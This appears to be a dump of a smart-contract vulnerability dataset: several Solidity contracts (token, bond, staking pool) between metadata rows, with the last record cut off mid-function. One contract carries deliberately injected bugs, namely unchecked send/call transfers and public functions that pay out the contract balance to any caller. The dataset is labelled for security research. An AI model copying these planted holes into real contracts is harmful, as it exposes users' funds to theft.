_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Roles {
struct Role {
mapping(address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract ManagerRole {
using Roles for Roles.Role;
event ManagerAdded(address indexed account);
event ManagerRemoved(address indexed account);
Roles.Role private managers;
constructor() {
_addManager(msg.sender);
}
modifier onlyManager() {
require(isManager(msg.sender));
_;
}
function isManager(address account) public view returns (bool) {
return managers.has(account);
}
function addManager(address account) public onlyManager {
_addManager(account);
}
function renounceManager() public {
_removeManager(msg.sender);
}
function _addManager(address account) internal {
managers.add(account);
emit ManagerAdded(account);
}
function _removeManager(address account) internal {
managers.remove(account);
emit ManagerRemoved(account);
}
}
contract BondReverse is ManagerRole, Ownable, Pausable {
ERC20Burnable public immutable dYelToken;
ERC20 public immutable USDC;
address public ownerA8 = 0x5F8ec4d7ED8F9E3Fa4219796551271579F7e0029;
uint256 public percent = 10; // uses for checking price difference
uint256 public percentPenalty = 10; // 5% = 5000
uint256 public currentPrice;
constructor (address _token, address _USDC) {
require(_token != address(0), "BondReverse: Token address can not be zero");
dYelToken = ERC20Burnable(_token);
USDC = ERC20(_USDC);
// currentPrice = 10000 * 10 ** USDC.decimals();
}
// function deposit(uint256 _amount) external whenNotPaused {
// require(_amount != 0, "BondReverse: The amount of tokens can not be zero");
// // sender have to approve his tokens
// dYelToken.burnFrom(msg.sender, _amount);
// // taUSDC = totalAmountUSDC, ua = userAmount, oa = _ownerAmount
// (, uint256 ua, uint256 oa) = valueOfDYEL(_amount);
// USDC.transferFrom(address(this), ownerA8, oa);
// USDC.transferFrom(address(this), msg.sender, ua);
// }
//
// function withdrawUSDC(uint256 _amount, address _address) external onlyOwner {
// USDC.transferFrom(address(this), _address, _amount);
// }
//
// function setPriceInUSDC(uint256 _price) external onlyManager {
// currentPrice = _price;
// }
// function returnPercentPrice(uint256 _newPrice) view public returns (uint256 _percentDelta) {
// require(_newPrice != currentPrice, "BondReverse: The price are the same");
// uint256 _percentTotal = (_newPrice * 100) / currentPrice;
// if(_newPrice > currentPrice) {
// _percentDelta = _percentTotal - 100;
// } else {
// _percentDelta = 100 - _percentTotal;
// }
// }
function valueOfDYEL(uint256 _dYelAmount) public view returns (uint256 _totalAmountUSDC, uint256 _userAmount, uint256 _ownerAmount) {
// total = 2 * 1e18 * 10000 * 1e6 = 20000 * 1e24 / 1e18 = 20000 * 1e6
// _totalAmountUSDC = _dYelAmount * currentPrice / 1e18;
_totalAmountUSDC = _dYelAmount * 10000 * 10 ** USDC.decimals() / 1e18;
// uint256 _penaltyAmount = _totalAmountUSDC * percentPenalty;
// // penalty = 20000 * 1e6 * 10000 / 100000 = 2000 * 1e6
// _userAmount = _totalAmountUSDC - _penaltyAmount;
// _ownerAmount = _penaltyAmount / 2;
}
receive() external payable onlyOwner {}
}
| 329,200 | 10,919 |
b330232626dd9cd80f589284d7d471c9657102f305102168e4e0dd82ded7ba68
| 15,014 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
experiments/ge-sc-data/source_code/denial_of_service/buggy_curated/buggy_16.sol
| 4,164 | 13,889 |
pragma solidity ^0.5.11;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function callnotchecked_unchk1(address payable callee) public {
callee.call.value(2 ether);
}
function balanceOf(address tokenOwner) public view returns (uint256 balance);
function withdrawBal_unchk41 () public{
uint64 Balances_unchk41 = 0;
msg.sender.send(Balances_unchk41);}
function allowance(address tokenOwner, address spender) public view returns (uint256 remaining);
function bug_unchk42() public{
uint receivers_unchk42;
address payable addr_unchk42;
if (!addr_unchk42.send(42 ether))
{receivers_unchk42 +=1;}
else
{revert();}
}
function transfer(address to, uint256 tokens) public returns (bool success);
function unhandledsend_unchk2(address payable callee) public {
callee.send(5 ether);
}
function approve(address spender, uint256 tokens) public returns (bool success);
function bug_unchk43() public{
address payable addr_unchk43;
if (!addr_unchk43.send (10 ether) || 1==1)
{revert();}
}
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
function my_func_uncheck48(address payable dst) public payable{
dst.call.value(msg.value)("");
}
function UncheckedExternalCall_unchk40 () public
{ address payable addr_unchk40;
if (! addr_unchk40.send (2 ether))
{// comment1;
}
else
{//comment2;
}
}
event Transfer(address indexed from, address indexed to, uint256 tokens);
bool public payedOut_unchk33 = false;
function withdrawLeftOver_unchk33() public {
require(payedOut_unchk33);
msg.sender.send(address(this).balance);
}
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract Owned {
function bug_unchk15(address payable addr) public
{addr.send (42 ether); }
address payable public owner;
function bug_unchk27(address payable addr) public
{addr.send (42 ether); }
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
function withdrawBal_unchk17 () public{
uint64 Balances_unchk17 = 0;
msg.sender.send(Balances_unchk17);}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function callnotchecked_unchk37(address payable callee) public {
callee.call.value(1 ether);
}
}
contract ExclusivePlatform is ERC20Interface, Owned {
using SafeMath for uint256;
function UncheckedExternalCall_unchk28 () public
{ address payable addr_unchk28;
if (! addr_unchk28.send (42 ether))
{// comment1;
}
else
{//comment2;
}
}
mapping (address => uint256) balances;
function cash_unchk34(uint roundIndex, uint subpotIndex, address payable winner_unchk34) public{
uint64 subpot_unchk34 = 10 ether;
winner_unchk34.send(subpot_unchk34); //bug
subpot_unchk34= 0;
}
mapping (address => mapping (address => uint256)) allowed;
bool public payedOut_unchk21 = false;
function withdrawLeftOver_unchk21() public {
require(payedOut_unchk21);
msg.sender.send(address(this).balance);
}
string public name = "Exclusive Platform";
function cash_unchk10(uint roundIndex, uint subpotIndex,address payable winner_unchk10) public{
uint64 subpot_unchk10 = 10 ether;
winner_unchk10.send(subpot_unchk10); //bug
subpot_unchk10= 0;
}
string public symbol = "XPL";
function my_func_unchk47(address payable dst) public payable{
dst.send(msg.value);
}
uint256 public decimals = 8;
function cash_unchk22(uint roundIndex, uint subpotIndex, address payable winner_unchk22)public{
uint64 subpot_unchk22 = 10 ether;
winner_unchk22.send(subpot_unchk22); //bug
subpot_unchk22= 0;
}
uint256 public _totalSupply;
function my_func_uncheck12(address payable dst) public payable{
dst.call.value(msg.value)("");
}
uint256 public XPLPerEther = 8000000e8;
uint256 public minimumBuy = 1 ether / 100;
function my_func_unchk11(address payable dst) public payable{
dst.send(msg.value);
}
bool public crowdsaleIsOn = true;
//mitigates the ERC20 short address attack
//suggested by izqui9 @ http://bit.ly/2NMMCNv
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
constructor () public {
_totalSupply = 10000000000e8;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function bug_unchk3(address payable addr) public
{addr.send (42 ether); }
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
bool public payedOut_unchk9 = false;
function withdrawLeftOver_unchk9() public {
require(payedOut_unchk9);
msg.sender.send(address(this).balance);
}
function updateXPLPerEther(uint _XPLPerEther) public onlyOwner {
emit NewPrice(owner, XPLPerEther, _XPLPerEther);
XPLPerEther = _XPLPerEther;
}
function callnotchecked_unchk25(address payable callee) public {
callee.call.value(1 ether);
}
function switchCrowdsale() public onlyOwner {
crowdsaleIsOn = !(crowdsaleIsOn);
}
function bug_unchk19() public{
address payable addr_unchk19;
if (!addr_unchk19.send (10 ether) || 1==1)
{revert();}
}
function getBonus(uint256 _amount) internal view returns (uint256) {
if (_amount >= XPLPerEther.mul(5)) {
return ((20 * _amount).div(100)).add(_amount);
} else if (_amount >= XPLPerEther) {
return ((5 * _amount).div(100)).add(_amount);
}
return _amount;
}
function unhandledsend_unchk26(address payable callee) public {
callee.send(5 ether);
}
function () payable external {
require(crowdsaleIsOn && msg.value >= minimumBuy);
uint256 totalBuy = (XPLPerEther.mul(msg.value)).div(1 ether);
totalBuy = getBonus(totalBuy);
doTransfer(owner, msg.sender, totalBuy);
}
bool public payedOut_unchk20 = false;
address payable public winner_unchk20;
uint public winAmount_unchk20;
function sendToWinner_unchk20() public {
require(!payedOut_unchk20);
winner_unchk20.send(winAmount_unchk20);
payedOut_unchk20 = true;
}
function distribute(address[] calldata _addresses, uint256 _amount) external {
for (uint i = 0; i < _addresses.length; i++) {transfer(_addresses[i], _amount);}
}
bool public payedOut_unchk32 = false;
address payable public winner_unchk32;
uint public winAmount_unchk32;
function sendToWinner_unchk32() public {
require(!payedOut_unchk32);
winner_unchk32.send(winAmount_unchk32);
payedOut_unchk32 = true;
}
function distributeWithAmount(address[] calldata _addresses, uint256[] calldata _amounts) external {
require(_addresses.length == _amounts.length);
for (uint i = 0; i < _addresses.length; i++) {transfer(_addresses[i], _amounts[i]);}
}
function unhandledsend_unchk38(address payable callee) public {
callee.send(5 ether);
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount) internal {
// Do not allow transfer to 0x0 or the token contract itself
require((_to != address(0)));
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
function cash_unchk46(uint roundIndex, uint subpotIndex, address payable winner_unchk46) public{
uint64 subpot_unchk46 = 3 ether;
winner_unchk46.send(subpot_unchk46); //bug
subpot_unchk46= 0;
}
function balanceOf(address _owner) view public returns (uint256) {
return balances[_owner];
}
function UncheckedExternalCall_unchk4 () public
{ address payable addr_unchk4;
if (! addr_unchk4.send (42 ether))
{// comment1;
}
else
{//comment2;
}
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
doTransfer(msg.sender, _to, _amount);
return true;
}
function bug_unchk7() public{
address payable addr_unchk7;
if (!addr_unchk7.send (10 ether) || 1==1)
{revert();}
}
/// @return The balance of `_owner`
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
doTransfer(_from, _to, _amount);
return true;
}
function my_func_unchk23(address payable dst) public payable{
dst.send(msg.value);
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function unhandledsend_unchk14(address payable callee) public {
callee.send(5 ether);
}
function allowance(address _owner, address _spender) view public returns (uint256) {
return allowed[_owner][_spender];
}
function bug_unchk30() public{
uint receivers_unchk30;
address payable addr_unchk30;
if (!addr_unchk30.send(42 ether))
{receivers_unchk30 +=1;}
else
{revert();}
}
function transferEther(address payable _receiver, uint256 _amount) public onlyOwner {
require(_amount <= address(this).balance);
emit TransferEther(address(this), _receiver, _amount);
_receiver.transfer(_amount);
}
bool public payedOut_unchk8 = false;
address payable public winner_unchk8;
uint public winAmount_unchk8;
function sendToWinner_unchk8() public {
require(!payedOut_unchk8);
winner_unchk8.send(winAmount_unchk8);
payedOut_unchk8 = true;
}
function withdrawFund() onlyOwner public {
uint256 balance = address(this).balance;
owner.transfer(balance);
}
function bug_unchk39(address payable addr) public
{addr.send (4 ether); }
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(burner, _value);
}
function my_func_uncheck36(address payable dst) public payable{
dst.call.value(msg.value)("");
}
function getForeignTokenBalance(address tokenAddress, address who) view public returns (uint){
ERC20Interface token = ERC20Interface(tokenAddress);
uint bal = token.balanceOf(who);
return bal;
}
function my_func_unchk35(address payable dst) public payable{
dst.send(msg.value);
}
function withdrawForeignTokens(address tokenAddress) onlyOwner public returns (bool) {
ERC20Interface token = ERC20Interface(tokenAddress);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
bool public payedOut_unchk44 = false;
address payable public winner_unchk44;
uint public winAmount_unchk44;
function sendToWinner_unchk44() public {
require(!payedOut_unchk44);
winner_unchk44.send(winAmount_unchk44);
payedOut_unchk44 = true;
}
function bug_unchk31() public{
address payable addr_unchk31;
if (!addr_unchk31.send (10 ether) || 1==1)
{revert();}
}
event TransferEther(address indexed _from, address indexed _to, uint256 _value);
bool public payedOut_unchk45 = false;
function withdrawLeftOver_unchk45() public {
require(payedOut_unchk45);
msg.sender.send(address(this).balance);
}
event NewPrice(address indexed _changer, uint256 _lastPrice, uint256 _newPrice);
function callnotchecked_unchk13(address callee) public {
callee.call.value(1 ether);
}
event Burn(address indexed _burner, uint256 value);
}
| 132,798 | 10,920 |
14922b2920847594f8b8aa16d5f2f2a27780667efae0b48b7fb9c4c99e04981e
| 25,436 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x67D9786828255ABa09a3a90aEf5D654e214BBC33/contract.sol
| 5,391 | 18,908 |
pragma solidity 0.8.2;
// SPDX-License-Identifier: MIT
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract ADA_WBNB_Pool is Ownable {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint256 amount);
// TENFI token contract address
address public tokenAddress = 0x081B2aEB9925e1F72e889eac10516C2A48a9F76a;
// LP token contract address
address public LPtokenAddress = 0xBA51D1AB95756ca4eaB8737eCD450cd8F05384cF;
// reward rate 56 % per year
uint256 public rewardRate = 65307;
uint256 public rewardInterval = 365 days;
// unstaking possible after 0 days
uint256 public cliffTime = 0 days;
uint256 public farmEnableat;
uint256 public totalClaimedRewards = 0;
uint256 public totalDevFee = 0;
uint256 private stakingAndDaoTokens = 100000e18;
bool public farmEnabled = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint256) public depositedTokens;
mapping (address => uint256) public stakingTime;
mapping (address => uint256) public lastClaimedTime;
mapping (address => uint256) public totalEarnedTokens;
function updateAccount(address account) private {
uint256 pendingDivs = getPendingDivs(account);
uint256 fee = pendingDivs.mul(2000).div(1e4);
uint256 pendingDivsAfterFee = pendingDivs.sub(fee);
if (pendingDivsAfterFee > 0) {
require(Token(tokenAddress).transfer(account, pendingDivsAfterFee), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivsAfterFee);
totalClaimedRewards = totalClaimedRewards.add(pendingDivsAfterFee);
emit RewardsTransferred(account, pendingDivsAfterFee);
}
if (fee > 0) {
require(Token(tokenAddress).transfer(account, fee), "Could not transfer tokens.");
totalDevFee = totalDevFee.add(fee);
emit RewardsTransferred(account, fee);
}
lastClaimedTime[account] = block.timestamp;
}
function getPendingDivs(address _holder) public view returns (uint256 _pendingDivs) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint256 timeDiff = block.timestamp.sub(lastClaimedTime[_holder]);
uint256 stakedAmount = depositedTokens[_holder];
if (block.timestamp <= farmEnableat + 1 days) {
uint256 pendingDivs = stakedAmount.mul(738199).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 1 days && block.timestamp <= farmEnableat + 2 days) {
uint256 pendingDivs = stakedAmount.mul(678723).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 2 days && block.timestamp <= farmEnableat + 3 days) {
uint256 pendingDivs = stakedAmount.mul(625079).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 3 days && block.timestamp <= farmEnableat + 4 days) {
uint256 pendingDivs = stakedAmount.mul(574932).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 4 days && block.timestamp <= farmEnableat + 5 days) {
uint256 pendingDivs = stakedAmount.mul(528285).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 5 days && block.timestamp <= farmEnableat + 6 days) {
uint256 pendingDivs = stakedAmount.mul(486302).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 6 days && block.timestamp <= farmEnableat + 7 days) {
uint256 pendingDivs = stakedAmount.mul(447818).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 7 days && block.timestamp <= farmEnableat + 8 days) {
uint256 pendingDivs = stakedAmount.mul(411666).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 8 days && block.timestamp <= farmEnableat + 9 days) {
uint256 pendingDivs = stakedAmount.mul(379012).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 9 days && block.timestamp <= farmEnableat + 10 days) {
uint256 pendingDivs = stakedAmount.mul(348691).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 10 days && block.timestamp <= farmEnableat + 11 days) {
uint256 pendingDivs = stakedAmount.mul(320703).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 11 days && block.timestamp <= farmEnableat + 12 days) {
uint256 pendingDivs = stakedAmount.mul(295047).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 12 days && block.timestamp <= farmEnableat + 13 days) {
uint256 pendingDivs = stakedAmount.mul(271723).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 13 days && block.timestamp <= farmEnableat + 14 days) {
uint256 pendingDivs = stakedAmount.mul(249565).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 14 days && block.timestamp <= farmEnableat + 15 days) {
uint256 pendingDivs = stakedAmount.mul(229740).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 15 days && block.timestamp <= farmEnableat + 16 days) {
uint256 pendingDivs = stakedAmount.mul(211081).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 16 days && block.timestamp <= farmEnableat + 17 days) {
uint256 pendingDivs = stakedAmount.mul(194754).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 17 days && block.timestamp <= farmEnableat + 18 days) {
uint256 pendingDivs = stakedAmount.mul(178428).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 18 days && block.timestamp <= farmEnableat + 19 days) {
uint256 pendingDivs = stakedAmount.mul(164433).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 19 days && block.timestamp <= farmEnableat + 20 days) {
uint256 pendingDivs = stakedAmount.mul(151605).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 20 days && block.timestamp <= farmEnableat + 21 days) {
uint256 pendingDivs = stakedAmount.mul(138777).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 21 days && block.timestamp <= farmEnableat + 22 days) {
uint256 pendingDivs = stakedAmount.mul(128281).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 22 days && block.timestamp <= farmEnableat + 23 days) {
uint256 pendingDivs = stakedAmount.mul(117786).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 23 days && block.timestamp <= farmEnableat + 24 days) {
uint256 pendingDivs = stakedAmount.mul(108456).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 24 days && block.timestamp <= farmEnableat + 25 days) {
uint256 pendingDivs = stakedAmount.mul(100293).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 25 days && block.timestamp <= farmEnableat + 26 days) {
uint256 pendingDivs = stakedAmount.mul(92130).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 26 days && block.timestamp <= farmEnableat + 27 days) {
uint256 pendingDivs = stakedAmount.mul(83966).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 27 days && block.timestamp <= farmEnableat + 28 days) {
uint256 pendingDivs = stakedAmount.mul(78135).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 28 days && block.timestamp <= farmEnableat + 29 days) {
uint256 pendingDivs = stakedAmount.mul(71138).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 29 days && block.timestamp <= farmEnableat + 30 days) {
uint256 pendingDivs = stakedAmount.mul(65307).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 30 days) {
uint256 pendingDivs = stakedAmount.mul(rewardRate).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
}
}
function getNumberOfHolders() public view returns (uint256) {
return holders.length();
}
function deposit(uint256 amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(farmEnabled, "Farming is not enabled");
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint256 amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(block.timestamp.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
